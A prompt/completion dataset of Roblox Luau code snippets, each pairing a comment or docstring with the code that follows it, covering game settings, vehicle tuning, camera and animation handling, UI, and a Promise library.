prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
@return Trove
Creates and adds another trove to itself. This is just shorthand
for `trove:Construct(Trove)`. This is useful for contexts where
the trove object is present, but the class itself isn't.
:::note
This does _not_ clone the trove. In other words, the objects in the
trove are not given to the new constructed trove. This is simply to
construct a new Trove and add it as an object to track.
:::
```lua
local trove = Trove.new()
local subTrove = trove:Extend()
trove:Clean() -- Cleans up the subTrove too
```
]=]
|
function Trove:Extend()
return self:Construct(Trove)
end
|
--// Ammo Settings
|
Ammo = 7;
StoredAmmo = 7;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 3;
|
-- RANK, RANK NAMES & SPECIFIC USERS
|
Ranks = {
{5, "Hotel Owner", };
{4, "Hotel Manager", {"",0}, };
{3, "Hotel Worker", {"",0}, };
{2, "Hotel Helper", {"",0}, };
{1, "Hotel Desk", {"",0}, };
{0, "Hotel Guest", };
};
|
--local cameraModule = playerModule:GetCameras()
|
local camera = workspace.CurrentCamera
local avatarEditorFrame = avatarEditorGui.Main
local catalogFrame = avatarEditorFrame.Catalog
local viewerFrame = avatarEditorFrame.Viewer
local detailsOverlay = avatarEditorGui.DetailsOverlay
local toggleButton = avatarEditorGui.Toggle
local doneButton = viewerFrame.Done
local viewButton = viewerFrame.View
local headerFrame = catalogFrame.Header
local categoryTabsFrame = headerFrame.CategoryTabs
local subCategoryTabsFrame = headerFrame.SubCategoryTabs
local searchFrame = headerFrame.Search
local containerFrame = catalogFrame.Container
local scrollingFrame = containerFrame.ScrollingFrame
local scrollingFrameUIGridLayout = scrollingFrame.UIGridLayout
local scaleFrame = containerFrame.ScaleFrame
local scaleFrameUIGridLayout = scaleFrame.UIGridLayout
local searchTextBox = searchFrame.TextBox
local clearSearchButton = searchFrame.Clear
local purchasePrompt = PurchasePrompt.new(detailsOverlay)
local activeButtons = Maid.new()
local activeConnections = Maid.new()
local activeCategoryButtons = {}
local activeSubCategoryButtons = {}
local numberValue = Instance.new("NumberValue")
numberValue.Value = CAMERA_OFFSET
local categoryButtons = TableUtil.Filter(categoryTabsFrame:GetChildren(), function(item)
return item:IsA("GuiButton")
end)
local subCategoryFrames = TableUtil.Filter(subCategoryTabsFrame:GetChildren(), function(item)
return item:IsA("GuiObject")
end)
local catalogFrameOpenTween = Tween:Create(catalogFrame, tweenInfo, {Position = UDim2.new(0, 0, 0, 0)})
local catalogFrameCloseTween = Tween:Create(catalogFrame, tweenInfo, {Position = UDim2.new(-0.6, 0, 0, 0)})
local viewerFrameOpenTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1, 0, 0, 0)})
local viewerFrameCloseTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1.4, 0, 0, 0)})
local viewFramePartialOpenTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1.4, -36, 0, 0)})
local fullViewCloseTween = Tween:Create(numberValue, tweenInfo, {Value = CAMERA_OFFSET})
local fullViewOpenTween = Tween:Create(numberValue, tweenInfo, {Value = 0.5})
local currentCategory = "Accessories"
local currentSubCategory = "Hair"
local isOpen = false
local fullView = false
|
-- Game Mode Overrides
|
_overrides.DEFAULT = {
game_mode_name = "DEFAULT",
override = true,
}
_overrides.DEATHMATCH = {
game_mode_name = "DEATHMATCH",
override = true,
respawn = true,
respawnTime = 5,
respawn_radius_lowest_fraction = 0.7, -- players will respawn between lowest_fraction and highest_fraction of target storm radius
respawn_radius_highest_fraction = 0.9,
respawn_height_fraction = 0.75, -- fraction of delivery_vehicle_spawn_height
killsNeededToWin = 25,
storm = {
radius = 6000,
time_before_start = 18,
debug_time_scale = 1,
number_of_stages = 5,
-- stage 0 (show starting circle with no transition)
{ transition_length = 0,
wait_length = 210,
damage = 1,
move_scale = 0,
shrinkage_factor = 0 },
-- stage 1
{ transition_length = 120,
wait_length = 120,
damage = 3,
shrinkage_factor = 0.75 },
-- stage 2
{ transition_length = 90,
wait_length = 90,
damage = 5,
shrinkage_factor = 0.3 },
-- stage 3
{ transition_length = 75,
wait_length = 0,
damage = 7,
shrinkage_factor = 0.3 },
-- stage 4 (wait indefinitely until match ends)
{ transition_length = 0,
wait_length = 1,
damage = 10,
shrinkage_factor = 0 },
},
}
_overrides.TEAM_DEATHMATCH = {
game_mode_name = "TEAM_DEATHMATCH",
override = true,
-- Respawn config values
respawn = true,
respawnTime = 5,
respawn_radius_lowest_fraction = 0.7, -- players will respawn between lowest_fraction and highest_fraction of target storm radius
respawn_radius_highest_fraction = 0.9,
respawn_height_fraction = 0.75, -- fraction of delivery_vehicle_spawn_height
-- Team config values
num_teams = 2,
team_names = {
"Orange",
"Blue",
},
team_colors = {
Color3.fromRGB(255, 120, 0),
Color3.fromRGB(0, 120, 255),
},
num_respawn_tickets = 15,
delivery_vehicle_offset_from_center = 1800, -- delivery vehicle paths will be set this distance (in studs) from center dividing line
storm = {
radius = 6000,
time_before_start = 18,
debug_time_scale = 1,
number_of_stages = 5,
-- stage 0 (show starting circle with no transition)
{ transition_length = 0,
wait_length = 210,
damage = 1,
move_scale = 0,
shrinkage_factor = 0 },
-- stage 1
{ transition_length = 120,
wait_length = 120,
damage = 3,
shrinkage_factor = 0.75 },
-- stage 2
{ transition_length = 90,
wait_length = 90,
damage = 5,
shrinkage_factor = 0.3 },
-- stage 3
{ transition_length = 75,
wait_length = 0,
damage = 7,
shrinkage_factor = 0.3 },
-- stage 4 (wait indefinitely until match ends)
{ transition_length = 0,
wait_length = 1,
damage = 10,
shrinkage_factor = 0 },
},
}
|
-- constants
|
local GUI = script.Parent
local SQUAD_GUI = GUI:WaitForChild("Squad")
local HEALTH_COLOR = Color3.fromRGB(80, 208, 45)
local DOWN_COLOR = Color3.fromRGB(216, 33, 33)
|
--Actual script
|
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function()
if script:FindFirstChild("SendDeathMessage") and script:FindFirstChild("DeathMessage") then
script:FindFirstChild("SendDeathMessage").Parent = game.ReplicatedStorage
script:FindFirstChild("DeathMessage").Parent = game.StarterGui
if player.Character:FindFirstChild("Humanoid") then
local hum = player.Character:FindFirstChild("Humanoid")
hum.Died:Connect(function()
local DeathMessage = DeathMessages[math.random(1,#DeathMessages)]
local Users = game.Players:GetChildren()
for i, User in pairs(Users) do
if game.ReplicatedStorage:FindFirstChild("SendDeathMessage") then
game.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. " " .. DeathMessage)
end
end
end)
end
elseif game.ReplicatedStorage:FindFirstChild("SendDeathMessage") and game.StarterGui:FindFirstChild("DeathMessage") then
if player.Character:FindFirstChild("Humanoid") then
local hum = player.Character:FindFirstChild("Humanoid")
hum.Died:Connect(function()
local DeathMessage = DeathMessages[math.random(1,#DeathMessages)]
local Users = game.Players:GetChildren()
for i, User in pairs(Users) do
if game.ReplicatedStorage:FindFirstChild("SendDeathMessage") then
game.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. " " .. DeathMessage)
end
end
end)
end
end
end)
end)
|
--script.Parent.SelectTab.TabButtonNameHere.MouseButton1Click:connect(CustomTab)
|
script.Parent.PageNext.MouseButton1Click:connect(Next)
script.Parent.PagePrev.MouseButton1Click:connect(Prev)
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FSusMaxExt = .2 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .2 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RSusMaxExt = .2 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .2 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[=[
Flattens all the brios in one brio and combines them, and then switches it to
a brio so only the last state is valid.
@param observables { [any]: Observable<Brio<T>> | Observable<T> | T }
@param filter function | nil
@return Observable<Brio<{ [any]: T }>>
]=]
|
function RxBrioUtils.flatCombineLatestBrio(observables, filter)
assert(type(observables) == "table", "Bad observables")
return RxBrioUtils.flatCombineLatest(observables)
:Pipe({
RxBrioUtils.switchToBrio();
filter and RxBrioUtils.where(filter) or nil
})
end
|
--[[
ROBLOX deviation: ReactSharedInternals captures singleton state across the
whole workspace. This file and the modules it requires were moved from React
to untangle a cyclic workspace member dependency.
Before:
* ReactSharedInternals (and the 5 associated modules) lived in React
* React had a dependency on Shared
* Shared reached into React source to re-export ReactSharedInternals (cycle)
After:
* ReactSharedInternals (and the 5 associated modules) live in Shared
* React depends on Shared
* Shared has no intra-workspace dependencies (no cycles)
]]
|
local Packages = script.Parent.Parent
local console = require(Packages.LuauPolyfill).console
local function onlyInTestError(functionName: string)
return function()
console.error(functionName .. " is only available in tests, not in production")
end
end
|
-- Gradually regenerates the Humanoid's Health over time. FOTPS
|
local REGEN_RATE = 20 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.1 -- Wait this long between each regeneration step.
|
-- print("Wha " .. pose)
|
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
--[[**
ensures Lua primitive callback type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.callback = primitive("function")
t["function"] = t.callback
|
-- REQUIRED PARTS -----------------------------------------------
-- Include all of these, or things will break!
|
local headlights = {
model.Headlight_Left,
model.Headlight_Right
}
local brakelights = {
model.Brakelight_Left,
model.Brakelight_Right
}
local seat = model.VehicleSeat -- Your driver seat
local upVectorPart = model.VehicleSeatBack -- Any part with lookvector up (we use this when you get flipped over)
local gyro = upVectorPart.BodyGyro -- Point this to any unused bodyGyro.
local smoke = model.ExhaustPipe.Smoke
local fire = model.ExhaustPipe.Fire
|
-- Handle potential Premium purchase from outside the game while user is playing
|
Players.PlayerMembershipChanged:Connect(function(player)
warn("Player membership changed; new membership is " .. tostring(player.MembershipType))
if player.MembershipType == Enum.MembershipType.Premium then
-- Teleport player to the Premium-only place
|
-- Requires - Module Functions
|
ServerSceneFramework.LoadCharacterRemoteEventModule = require(script.LoadCharacterRemoteEventModule)
ServerSceneFramework.LoadSceneModule = require(script.LoadSceneModule)
ServerSceneFramework.FinishedLoadingClientModule = require(script.FinishedLoadingClientModule)
ServerSceneFramework.LoadSceneFromListEventModule = require(script.LoadSceneFromListEventModule)
ServerSceneFramework.GetCurrentSceneEnvironmentModule = require(script.GetCurrentSceneEnvironmentModule)
ServerSceneFramework.IsLoadingSceneModule = require(script.IsLoadingSceneModule)
ServerSceneFramework.LoadSceneServerModule = require(script.LoadSceneServerModule)
ServerSceneFramework.OnPlayerAddedModule = require(script.OnPlayerAddedModule)
ServerSceneFramework.CheckFolderForLoadedScenesModule = require(script.CheckFolderForLoadedScenesModule)
ServerSceneFramework.FindClientFolderModule = require(script.FindClientFolderModule)
ServerSceneFramework.FindServerFolderModule = require(script.FindServerFolderModule)
ServerSceneFramework.InitModule = require(script.InitModule)
ServerSceneFramework.HandleOrchestrateEvent = require(script.HandleOrchestrateEvent)
local Orchestra = script.Parent
|
-------------------------------------------------------------------------
|
local function CheckAlive()
local humanoid = findPlayerHumanoid(Player)
return humanoid ~= nil and humanoid.Health > 0
end
local function GetEquippedTool(character)
if character ~= nil then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
return child
end
end
end
end
local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil
local function CleanupPath()
if ExistingPather then
ExistingPather:Cancel()
ExistingPather = nil
end
if PathCompleteListener then
PathCompleteListener:Disconnect()
PathCompleteListener = nil
end
if PathFailedListener then
PathFailedListener:Disconnect()
PathFailedListener = nil
end
if ExistingIndicator then
ExistingIndicator:Destroy()
end
end
local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath)
if ExistingPather then
CleanupPath()
end
ExistingPather = thisPather
thisPather:Start(overrideShowPath)
PathCompleteListener = thisPather.Finished.Event:Connect(function()
CleanupPath()
if hitChar then
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
end
end
end)
PathFailedListener = thisPather.PathFailed.Event:Connect(function()
CleanupPath()
if overrideShowPath == nil or overrideShowPath then
local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive())
if shouldPlayFailureAnim then
ClickToMoveDisplay.PlayFailureAnimation()
end
ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end
end)
end
local function ShowPathFailedFeedback(hitPt)
if ExistingPather and ExistingPather:IsActive() then
ExistingPather:Cancel()
end
if PlayFailureAnimation then
ClickToMoveDisplay.PlayFailureAnimation()
end
ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end
function OnTap(tapPositions, goToPoint, wasTouchTap)
-- Good to remember if this is the latest tap event
local camera = Workspace.CurrentCamera
local character = Player.Character
if not CheckAlive() then return end
-- This is a path tap position
if #tapPositions == 1 or goToPoint then
if camera then
local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)
local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)
local myHumanoid = findPlayerHumanoid(Player)
local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList())
local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)
if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then
local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if clickedPlayer then
CleanupPath()
return
end
end
if goToPoint then
hitPt = goToPoint
hitChar = nil
end
if hitPt and character then
-- Clean up current path
CleanupPath()
local thisPather = Pather(hitPt, hitNormal)
if thisPather:IsValidPath() then
HandleMoveTo(thisPather, hitPt, hitChar, character)
else
-- Clean up
thisPather:Cleanup()
-- Feedback here for when we don't have a good path
ShowPathFailedFeedback(hitPt)
end
end
end
elseif #tapPositions >= 2 then
if camera then
-- Do shoot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
end
end
end
end
local function DisconnectEvent(event)
if event then
event:Disconnect()
end
end
|
-- [TORQUE CURVE VISUAL]
|
Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6200 -- Use sliders to manipulate values
Tune.Redline = 7700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[**
Returns a t.union of each key in the table as a t.literal
@param keyTable The table to get keys from
@returns True iff the condition is satisfied, false otherwise
**--]]
|
function t.keyOf(keyTable)
local keys = {}
local length = 0
for key in keyTable do
length = length + 1
keys[length] = key
end
return t.literal(table.unpack(keys, 1, length))
end
|
--[=[
@param data table
@return Option
Deserializes the data into an Option. This data should have come from
the `option:Serialize()` method.
]=]
|
function Option.Deserialize(data) -- type data = {ClassName: string, Value: any}
assert(type(data) == "table" and data.ClassName == CLASSNAME, "Invalid data for deserializing Option")
return data.Value == nil and Option.None or Option.Some(data.Value)
end
|
--// Servc
|
local UIS = game:GetService('UserInputService')
local Players = game:GetService('Players')
local SSS = game:GetService('ServerScriptService')
local rp = game:GetService("ReplicatedStorage")
|
--bp.Position = shelly.PrimaryPart.Position
|
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
bp.Parent = nil
wait(math.random(3,8))
end
local soundBank = game.ReplicatedStorage.Sounds.NPC.Shelly:GetChildren()
shelly.Health.Changed:connect(function()
if shellyGood then
bp.Parent,bg.Parent= nil,nil
shelly.PrimaryPart.Transparency =1
shelly.PrimaryPart.CanCollide = false
shelly.Shell.Transparency = 1
shelly.HitShell.Transparency = 0
shelly.HitShell.CanCollide = true
shellyGood = false
ostrich = tick()
shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()
repeat task.wait() until tick()-ostrich > 10
shelly.PrimaryPart.Transparency = 0
shelly.PrimaryPart.CanCollide = true
shelly.Shell.Transparency = 0
shelly.HitShell.Transparency = 1
shelly.HitShell.CanCollide = false
bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
shellyGood = true
end
end)
while true do
if shellyGood then
MoveShelly()
else
task.wait(1)
end
end
|
-- Do not edit these values, they are not the developer-set limits, they are limits
-- to the values the camera system equations can correctly handle
|
local MIN_ALLOWED_ELEVATION_DEG = -80
local MAX_ALLOWED_ELEVATION_DEG = 80
local externalProperties = {}
externalProperties["InitialDistance"] = 25
externalProperties["MinDistance"] = 10
externalProperties["MaxDistance"] = 100
externalProperties["InitialElevation"] = 35
externalProperties["MinElevation"] = 35
externalProperties["MaxElevation"] = 35
externalProperties["ReferenceAzimuth"] = -45 -- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally
externalProperties["CWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above
externalProperties["CCWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above
externalProperties["UseAzimuthLimits"] = false -- Full rotation around Y axis available by default
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
-- ================================================================================
-- Settings - Tachyon
-- ================================================================================
|
local Settings = {}
Settings.DefaultSpeed = 200 -- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 300 -- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 6 -- Duration of boost in seconds
Settings.Steering = 8 -- How quickly the speeder turns [Range: 1-10]
|
--[[
Constructs a new Promise with the given initializing callback.
This is generally only called when directly wrapping a non-promise API into
a promise-based version.
The callback will receive 'resolve' and 'reject' methods, used to start
invoking the promise chain.
Second parameter, parent, is used internally for tracking the "parent" in a
promise chain. External code shouldn't need to worry about this.
]]
|
function Promise._new(traceback, callback, parent)
if parent ~= nil and not Promise.is(parent) then
error("Argument #2 to Promise.new must be a promise or nil", 2)
end
local self = {
-- Used to locate where a promise was created
_source = traceback,
_status = Promise.Status.Started,
-- A table containing a list of all results, whether success or failure.
-- Only valid if _status is set to something besides Started
_values = nil,
-- Lua doesn't like sparse arrays very much, so we explicitly store the
-- length of _values to handle middle nils.
_valuesLength = -1,
-- Tracks if this Promise has no error observers..
_unhandledRejection = true,
-- Queues representing functions we should invoke when we update!
_queuedResolve = {},
_queuedReject = {},
_queuedFinally = {},
-- The function to run when/if this promise is cancelled.
_cancellationHook = nil,
-- The "parent" of this promise in a promise chain. Required for
-- cancellation propagation upstream.
_parent = parent,
-- Consumers are Promises that have chained onto this one.
-- We track them for cancellation propagation downstream.
_consumers = setmetatable({}, MODE_KEY_METATABLE),
}
if parent and parent._status == Promise.Status.Started then
parent._consumers[self] = true
end
setmetatable(self, Promise)
local function resolve(...)
self:_resolve(...)
end
local function reject(...)
self:_reject(...)
end
local function onCancel(cancellationHook)
if cancellationHook then
if self._status == Promise.Status.Cancelled then
cancellationHook()
else
self._cancellationHook = cancellationHook
end
end
return self._status == Promise.Status.Cancelled
end
coroutine.wrap(function()
local ok, _, result = runExecutor(
self._source,
callback,
resolve,
reject,
onCancel
)
if not ok then
reject(result[1])
end
end)()
return self
end
function Promise.new(executor)
return Promise._new(debug.traceback(nil, 2), executor)
end
function Promise:__tostring()
return string.format("Promise(%s)", self._status)
end
|
--script.Parent.KK.Velocity = script.Parent.KK.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.KKK.Velocity = script.Parent.KKK.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.KKKK.Velocity = script.Parent.KKKK.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.L.Velocity = script.Parent.L.CFrame.lookVector *script.Parent.Speed.Value
|
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
function Scale()
local magnitude = GrabMagnitude()
--- Don't run this if we don't need to (resolution hasn't changed much)
if (not magnitude) or (lastMagnitude and math.abs(lastMagnitude - magnitude) < differenceToScan) or (lastMagnitude and lastMagnitude >= bestResolution and magnitude >= bestResolution) then
return
end
lastMagnitude = magnitude
--- Calculate ratio
local ratio = maxDownscale + ((math.min(magnitude, bestResolution) / bestResolution) * (1 - maxDownscale))
--- Change 9Slices
for _, gui in ipairs(_L.Player.Get("PlayerGui"):GetChildren()) do
if gui.ClassName == "ScreenGui" and (not _L.Functions.SearchArray(blacklist, gui.Name)) then
for i, v in ipairs(gui:GetDescendants()) do
--- Yield to prevent microstuttering for lots of gui elements
if i%200 == 0 then
wait()
end
--- Adjust 9slice scaling ratio based on resolution
if (v.ClassName == "ImageLabel" or v.ClassName == "ImageButton") and v.ScaleType == Enum.ScaleType.Slice then
if not archive[v] then
archive[v] = v.SliceScale
end
local base = archive[v]
v.SliceScale = base * ratio
end
end
end
end
end
function GrabMagnitude()
local resolution = _L.Player.Get("Camera").ViewportSize
if resolution then
local magnitude = resolution.Magnitude
return magnitude
end
end
|
--This is just some simple server script that moves the object around every frame
--The kinematics module handles the rest
|
game["Run Service"].Heartbeat:Connect(function(deltaTime)
local speed = script:GetAttribute("speed") or Vector3.zero
total+=deltaTime
part.CFrame = startPos * CFrame.fromEulerAngles(total*speed.x,total*speed.y,total*speed.z)
end)
|
-- ROBLOX deviation: we change from backtick to our literal string delimiter [=[ and ]=]
|
local function printBacktickString(str: string): string
return "[=[\n" .. str .. "]=]"
end
local function ensureDirectoryExists(filePath: string)
-- ROBLOX deviation: gets path of parent directory, GetScriptFilePath can only be called on ModuleScripts
local pathComponents = filePath:split("/")
pathComponents = table.pack(table.unpack(pathComponents, 1, #pathComponents - 1))
local path = table.concat(pathComponents, "/")
local ok, err = pcall(function()
if not FileSystemService:Exists(path) then
FileSystemService:CreateDirectories(path)
end
end)
if not ok and err:find("Error%(13%): Access Denied%. Path is outside of sandbox%.") then
error(
"Provided path is invalid: you likely need to provide a different argument to --fs.readwrite.\n"
.. "You may need to pass in `--fs.readwrite=$PWD`"
)
end
end
function normalizeNewLines(string_: string)
string_ = string.gsub(string_, "\r\n", "\n")
local result = string.gsub(string_, "\r", "\n")
return result
end
|
--[[Wheel Stabilizer Gyro]]
|
Tune.FGyroDamp = 400 -- Front Wheel Non-Axial Dampening
Tune.RGyroDamp = 400 -- Rear Wheel Non-Axial Dampening
|
-- wrapping long conditional in function
|
local function isShiftLockMode()
return LocalPlayer.DevEnableMouseLock and GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch and
LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.ClickToMove and
GameSettings.ComputerMovementMode ~= Enum.ComputerMovementMode.ClickToMove and
LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.Scriptable and
not UserInputService.GamepadEnabled
end
if not UserInputService.TouchEnabled then -- TODO: Remove when safe on mobile
IsShiftLockMode = isShiftLockMode()
end
|
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
|
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
local animTracks = animator:GetPlayingAnimationTracks()
for i,track in ipairs(animTracks) do
track:Stop(0)
track:Destroy()
end
end
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
for _,child in script:GetChildren() do
if child:isA("StringValue") then
animNames[child.Name] = {}
configureAnimationSet(child.Name, animNames[child.Name])
end
end
|
-- ROBLOX TODO: fix PrettyFormat types imports
-- local PrettyFormat = require(Packages.PrettyFormat)
|
local PrettyFormat = require(CurrentModule.PrettyFormat)
type PrettyFormatOptions = PrettyFormat.OptionsReceived
local utils = require(CurrentModule.utils)
local addExtraLineBreaks = utils.addExtraLineBreaks
local getSnapshotData = utils.getSnapshotData
local keyToTestName = utils.keyToTestName
local removeExtraLineBreaks = utils.removeExtraLineBreaks
|
--[ MAIN LOCALS ]-
|
local Player = game.Players.LocalPlayer
local Event = game.ReplicatedStorage.MusicEvents.NewSong
local Frame = script.Parent.Parent
local Gui = game.StarterGui.SurfaceGui.SongPart.Frame.SongName
local SongText = Gui.Text
local sound = game.Workspace.Sound
local label = script.Parent.Parent.Requester
|
-- Custom enum implementation that provides an effective way to compare, send
-- and store values. Instead of returning a userdata value, enum items return
-- their corresponding itemValue (an integer) when indexed. Enum items can
-- also associate a 'property', specified as the third element, which can be
-- retrieved by doing ``enum.getProperty(ITEM_NAME_OR_VALUE)``
-- This ultimately means groups of data can be easily categorised, efficiently
-- transmitted over networks and saved without throwing errors.
-- Ben Horton (ForeverHD)
| |
--local TwoHandAnim = hammer:WaitForChild("TwoHandAnim")
|
hammer.Equipped:Connect(function()
local character = hammer.Parent
if Players:GetPlayerFromCharacter(character) and character:FindFirstChild("Humanoid") then
--character.Humanoid.Animator:LoadAnimation(TwoHandAnim):Play()
end
end)
hammer.Activated:Connect(function()
local character = hammer.Parent
if db == false and Players:GetPlayerFromCharacter(character) and character:FindFirstChild("Humanoid") then
--character.Humanoid.Animator:LoadAnimation(Slash):Play() -- Plays the animation
local touchFunction
touchFunction = hammer.Handle.Touched:Connect(function(hit) -- Fires when the hammer is touched
local hitCharacter = hit:FindFirstAncestorOfClass("Model") -- The character we hit
local hitPlayer = Players:GetPlayerFromCharacter(hitCharacter) -- Player we it
local banSound = script.Parent.Handle.ban
if hit and hitCharacter and hitPlayer then -- if we hit a player
--banSave:SetAsync(hitPlayer.UserId,true) -- Saves the ban (Don't do this if you only want to kick them)
hitPlayer:Kick("Congratulations! You just got kicked by the ban hammer! Be lucky you didn't banned instead!") -- Kicks with the provided message
banSound:Play()
touchFunction:Disconnect() -- Ends the function
end
end)
db = true -- Enables cooldown
task.wait(1) -- You might need to adjust this
touchFunction:Disconnect()
task.wait(1-0.3) -- The cooldown
db = false -- Disables cooldown
end
end)
|
--[=[
@type ExtensionFn (component) -> ()
@within Component
]=]
|
type ExtensionFn = (any) -> ()
|
--[[
Called when the goal state changes value.
If the new goal can be animated to, the equilibrium point of the internal
springs will be moved, but the springs themselves stay in place.
Returns false, as this has no immediate impact on the current value of the
Spring object.
If the new goal can't be animated to (different types/non-animatable type),
then the springs will be instantly moved to the goal value. Returns true, as
the current value of the Spring object will jump directly to the goal.
]]
|
function class:update()
local goalValue = self._goalState:get(false)
local oldType = self._currentType
local newType = typeof(goalValue)
self._goalValue = goalValue
self._currentType = newType
local springGoals = unpackType(goalValue, newType)
local numSprings = #springGoals
self._springGoals = springGoals
if newType ~= oldType then
-- if the type changed, we need to set the position and velocity
local springPositions = table.create(numSprings, 0)
local springVelocities = table.create(numSprings, 0)
for index, springGoal in ipairs(springGoals) do
springPositions[index] = springGoal
end
self._springPositions = springPositions
self._springVelocities = springVelocities
self._currentValue = self._goalValue
SpringScheduler.remove(self)
return true
elseif numSprings == 0 then
-- if the type hasn't changed, but isn't animatable, just change the
-- current value
self._currentValue = self._goalValue
SpringScheduler.remove(self)
return true
end
SpringScheduler.add(self)
return false
end
if ENABLE_PARAM_SETTERS then
--[[
Changes the damping ratio of this Spring.
]]
function class:setDamping(damping: number)
